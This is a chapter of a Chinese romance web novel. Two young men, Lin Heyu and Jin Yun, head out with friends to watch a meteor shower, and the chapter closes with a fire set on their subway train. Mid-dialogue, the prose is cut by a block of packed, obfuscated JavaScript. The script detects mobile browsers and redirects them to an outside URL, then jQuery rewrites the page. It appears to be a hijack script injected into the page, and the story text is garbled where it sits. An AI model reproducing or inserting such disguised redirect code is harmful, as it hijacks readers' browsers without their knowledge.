林鹤羽再次睁开眼时，墙上的老式挂钟正慢悠悠地指向七点半。指针“咔哒”一声跳过，像有人在耳边轻轻咳嗽了一声，提醒他今天不是寻常的一天。
他揉了揉眼睛，掀开被子，冰凉的地板让脚底猛地一缩。那股凉意顺着脚踝往上爬，他下意识把睡衣领口拢得更紧，才踩着楼梯往下走。
楼梯拐角的木扶手被清晨的阳光照射出温暖的弧光，指腹滑过时，能摸到无数次来回留下的温度。他还没走到客厅，就闻到空气里混着牛奶和咖啡的暖甜味道。
晋云窝在沙发里，白卫衣的帽子随意扣在头上，刘海遮住了半边眼睛，像只刚睡醒的大猫。他正低头回消息，手指在屏幕上飞快的滑动，却在林鹤羽出现时，立刻抬眼。
那双好看的黑眸，在撞上林鹤羽的一瞬间，所有锋芒都收了，只剩下一片近乎笨拙的柔软。
他放下手机，起身时动作太急，膝盖撞到茶几，闷哼了一声也没在意，几步就走到楼梯口。
没说话，先伸手。
指尖先落在林鹤羽的手腕内侧，用最轻的力道碰了碰。触到微凉的皮肤时，他睫毛颤了一下，眉心几不可察地皱起，随即掌心整个覆上去，慢慢收紧，把自己的体温一点点渡过去。
掌心有薄茧，蹭过脉搏时带着一点细微的痒。蹭得太慢了，像在确认心跳，也像在确认人还在。
“醒了？”声音低沉，带着刚睡醒的哑，却温柔无比，“我没敢叫你，怕你没睡好。”
林鹤羽垂眼，看着那只手把自己整个圈住，指尖无意识蜷了一下。晋云立刻察觉，拇指顺着那道细小的动作，极轻地蹭了蹭他的腕骨，像在安抚一只受惊的猫。
电视里，女主播的声音混着窗外的湿风飘进来：“……今晚十点过后，狮子座流星雨将达到极盛，预计每小时可达数百颗，甚至上千颗，这将是近三十年来最壮观的一次……最佳的观星地点在河川公园。”
晋云没回头，只侧了侧脸，笑着说：
“今天……我想带你出去，好不好？”
顿了顿，声音更低，近乎耳语：“山那边的湖边有集市，下午人多，热闹，你的朋友们我都喊上了，晚上……”他侧头看了眼电视，声音不自觉放得更轻，“晚上有流星雨，特别多。”
他没说“生日”，连“今天”都含糊盖过。
林鹤羽盯着他看了很久，眼眶慢慢发热。他别开眼，声音哑得不像自己的：“你……什么时候开始准备的？”
晋云笑了一下：“秘密。”
他往前半步，几乎把林鹤羽整个人圈进自己的阴影里，额头抵着额头，呼吸交缠。声音低到只剩气音，带着一点近乎恳求的暧昧：
“鹤羽，我想让你开心。就一天，好不好？”
那声“鹤羽”被他咬得又慢又轻，尾音像羽毛扫过耳廓，带着湿热的温度，带着不容闪躲的侵略。
林鹤羽睫毛抖了一下，终于低低“嗯”了一声，声音小得几乎听不见。
晋云像是被点燃的烟花，眼睛瞬间亮得吓人。他猛地收紧手臂，把人整个揉进怀里，力道大得像要把人嵌进骨血里，又在察觉到林鹤羽僵硬的下一秒，立刻松了松，改成极轻地圈着，手掌一下一下顺着后背，动作温柔，却带着清晰的占有。
“先吃早饭。”他下巴抵在林鹤羽发顶，声音闷得发颤，藏不住的雀跃几乎要溢出来，“我煮了粥，烤了你喜欢的奶油小面包，还热着。吃完咱们慢慢收拾，下午出发，晚上我带你去看星星。”
林鹤羽被他抱得喘不过气，鼻尖全是晋云卫衣上干净的雪松味，混着他皮肤独有的暖香。他闭了闭眼，手指在晋云背后极轻地蜷了一下，像抓住，又像回应。
“……晋云。”他声音低得几乎听不见，“谢谢你。”
晋云愣了一下，随即笑得更开心了，他收紧手臂，下巴轻轻抵在林鹤羽发顶，声音闷闷地传下来：
“谢什么，我就是……想让你开心一点。”
窗外，天色已经大亮。电视里的女主播还在温柔地重复今晚流星雨的盛况，而客厅里，粥的香气慢慢溢出来，盖住了所有残留的冷意。
临近出门，林鹤羽走到电视机前，正要伸手关掉电源，女主播的声音恰好又飘了过来：
“提醒一下，今夜本市有雨，夜间观星的市民请记得带伞或雨衣。”
他指尖在电源键上悬了半秒，最终还是没按下去，顺手从门边挂钩上抓了把黑色折叠伞，塞进背包侧袋。也不知道今晚的流星雨会不会被雨云挡住，他心里轻轻嘀咕一句，抬头看向窗外。
天色还算晴朗，晨雾像一层薄纱笼着城市，远处高楼的轮廓若隐若现。阳光从云缝里漏下来，落在玻璃上，反着柔和的光。他皱了皱眉，总觉得今天的空气里浮着一层说不出的潮润，像谁悄悄把情绪都浸湿了。
“鹤羽，走吧。”
晋云的声音从身后传来，低低的，带着笑。
林鹤羽回头，看见他已经站在玄关处换好了鞋。那人微微弯着腰，手里正把自己的那件薄外套往臂弯里搭，闻言抬头冲他笑。阳光落在他睫毛上，碎成细小的金色，眼睛弯得像月牙，藏着一点藏不住的小心翼翼和雀跃。
那笑太亮了，亮得让林鹤羽忽然有点不敢直视。
他“嗯”了一声，低头穿鞋。晋云却已经走过来，弯腰把他的鞋往他面前挪了半寸，又极自然地伸手替他理了理被风吹乱的刘海，指尖若有若无地蹭过额角。
“带伞了？”晋云的声音很轻，像在说一件再平常不过的小事，却在看见背包侧袋露出的伞柄时，眼底那点紧张悄悄化开。
林鹤羽没抬头，只含糊地应了一声。
晋云笑得更深了，伸手牵住他的手腕，掌心滚烫：“那就走吧，流星雨不等人。”
指尖相扣的瞬间，林鹤羽听见自己心跳漏了一拍。
他垂着眼，任由晋云牵着往外走。门被带上的那一刻，他忽然想起，六年前的今天，也是这样阴晴不定的天气。
可这次，牵着他手的人把所有的雨云都挡在了身后，让他莫名觉得安心。
车站里人头攒动，空气里混着咖啡香和煎饼果子油香味，比平时热闹好几倍。
林鹤羽刚跟晋云走到约定地点，就听见一道滚雷似的嗓门炸开：
“卧槽！你们俩怎么才来！我跟班长在这儿干等半小时，李泽话少得跟哑巴似的，我都快憋出内伤了！”
闻言马大哈已经蹦着过来了，咧嘴笑得见牙不见眼，一副恨不得把林鹤羽举起来当风车转的架势。
晋云眼疾手快，单手按住他肩膀，笑得温良无害：“淡定。”
马原不服气，还真就想绕，胳膊张得跟老鹰似的：“我轻点抱！就一下！”
晋云懒洋洋凑到他耳边，声音压得极低：“关影来了。”
“？？？”马原跟被点了暂停键，脖子咔咔转圈，“哪儿呢哪儿呢？”
啪——后脑勺结结实实挨了一矿泉水瓶。
关影不知啥时候站到他身后，高出他一个头，居高临下地拧开瓶盖灌水，语气吊儿郎当：“你眼瞎还是我隐身了？赏你一瓶盖不过分吧？”
马原抱着头嚎：“你从地缝里钻出来的啊？！”
“啧，嘴还挺毒。跟君哥学的吗？”关影折扇“啪”地一声合上，指了指不远处并肩站着的林鹤羽和晋云，“人家小情侣好不容易出来玩，你非要当三百瓦电灯泡，缺德不？”
林鹤羽耳根瞬间爆红，刚想开口解释“我俩没……”就被晋云似笑非笑地瞥了一眼，硬生生把后半句咽了回去。
李泽推了推眼镜，叹气打圆场：“行了，别闹了。车快进站了，恒君呢？”
“我看见了！”马原总算扳回一城，兴奋地指着远处，“在那儿装逼呢！”
周恒君戴着黑色卫衣帽，耳机线从兜里拖出来，低着头慢悠悠晃过来。明明长了张俊秀的脸，却偏要摆出一副“生人勿扰”的冷淡样儿，路过之处自动分开一条道。
关影吹了声口哨：“哟，今天怎么不毒我了？舌头被猫叼走了？”
周恒君连眼皮都没抬，径直走到队伍最后，手指在手机上点了两下，调高音量，像用一整片鼓点把世界隔绝在外。
关影碰了个钉子，啧了一声：“行，装酷是吧。”
林鹤羽忍不住多看了两眼——周恒君今天确实不对劲。平时那张嘴能把人怼到自闭，今天却安静得像换了个人。
正想着，掌心突然一热。
晋云那只手又不安分地伸过来，指尖在他手心轻轻挠了一下，痒得像有羽毛扫过。林鹤羽被撩得一激灵，反手就是一巴掌拍掉，瞪他。
晋云低笑，声音压得只有他们俩能听见：“脸红
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17053397|194848||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么？又没亲你。”
“……要关影听见你试试？”
“他敢。”晋云漫不经心地侧头，冲关影扬了扬下巴，“对吧？”
关影折扇一开，笑得一脸纨绔：“敢什么敢？老子眼睛又不瞎，你俩当我空气我还省事。”
地铁进站的轰鸣声盖过了所有噪音，车门一开，人流汹涌。
地铁末班高峰提前杀到，车厢里挤得连根针都插不进。
“操，这也太离谱了！”马原被夹在两拨上班族中间，活像块被揉皱的三明治，声音从人缝里闷闷传出来，“今天居然没座，还得当人肉夹心饼干！”
关影被挤得折扇都合不拢，脸被挤的扭曲：“废话，法定假日第一天，你当全国人民都跟你一样躺平啊？堵车堵到我怀疑人生，我才选地铁，你还想挑位子？做梦呢。”
李泽抓着吊环，声音还是那么温和，就是音量被迫拔高八度：“都抓紧了！下一站人更多，别走散！谁掉队就三号出口集合，然后一起去河川公园！”
“咔哒”一声，车门合上，列车猛地一晃，惯性把所有人往同一边甩。
林鹤羽被挤得差点亲到前边大叔的后脑勺，鼻尖全是廉价洗发水味。他整个人都恍惚着，早上那个梦还在脑子里打转，今天的日期总让他有种奇怪的预感。
周围全是黑压压的后脑勺，偶尔有小孩被大人举过头顶，奶声奶气喊一句“妈妈”，才让这铁盒子有点人气。
林鹤羽盯着脚尖发呆，忽然一只手从后面穿过人群，精准地扣住他的指缝，掌心滚烫。
抬头，晋云。
那家伙不知什么时候开了一条路，硬是挤到他背后，整个人像堵人形防波堤，把四面八方涌来的压力全挡在外面。晋云比他高半个头，下巴几乎抵在他发旋，呼吸一下一下喷在他耳后，热得他脖子发麻。
“……谢、谢谢。”林鹤羽声音在车厢里几乎听不见。
晋云低笑，胸腔震动透过后背全传到他身上，声音贴着他耳廓，带着点哑：“乐意之至。”
林鹤羽耳尖瞬间红透，想挣开又舍不得，干脆把脑袋往下一低，假装看地板。
再抬头，其他四个人早被人群冲得没影了。
马原的声音从十米开外闷闷传来：“鹤羽！云哥！你们人呢？！”
关影懒洋洋地靠在车门上：“都是大人了，丢不了！”
李泽的声音远远飘来，带着笑无奈：“都别嚷了，抓紧扶手！下一站……”
列车再次启动，轰隆隆碾过铁轨。
晋云的手却没松，反而扣得更紧。
河川公园还差四站，车厢却越来越不对劲。
第四站，换乘枢纽。
车门一开，先是人潮倾泻而出，像有人把塞子拔了；紧接着更汹涌的人流倒灌进来。这拨人不一样：没带娃的，没背包自拍的小情侣，也没穿情侣装的大学生。只有孤零零的男人，短袖、纹身、拖鞋、染得五颜六色的头发，眼神发直，嘴角挂着吊儿郎当的笑，却谁也不说话。
空气瞬间变了味儿，烟味、汗味、劣质香水味混在一起，呛得人喉咙发痒。
林鹤羽皱了皱眉，下意识往晋云那边靠了半步。
晋云正低头飞快打字，屏幕光映得他眉骨发亮。
林鹤羽没有手机。他母亲那台老旧的手机电池早就废了，用不了多久就得充电，再加上他觉得手机对自己没啥必要，雪姨也担心他玩手机会分心学习，他索性就没买了。不过这会儿，他倒有点好奇这帮家伙能在群里聊什么。
林鹤羽好奇地探过去：“干嘛呢？”
“建了个小群，免得待会儿走散。”晋云把手机直接塞到他手里，声音压得很低，“看吧。”
林鹤羽扫了一眼，差点原地裂开。
【群聊：今天不摆烂】
关影：晋云你小子亲到了没？快汇报战绩！马原：+1+1+1我哭死为什么没人护着我！！！李泽：别闹了，你们发现没有，这几站上来的人不对劲，像被盯上了。关影：@周恒君你人呢？说话！李泽：我被挤到隔壁车厢了，一个人。马原：我靠我怎么闻到焦味了？
林鹤羽正想吐槽这群人能不能有点危机感，手机突然连震三下。
周恒君： 【所有人！快跑！！！】 【7号车厢着火了！有人放火！】 【现在就跑！！！】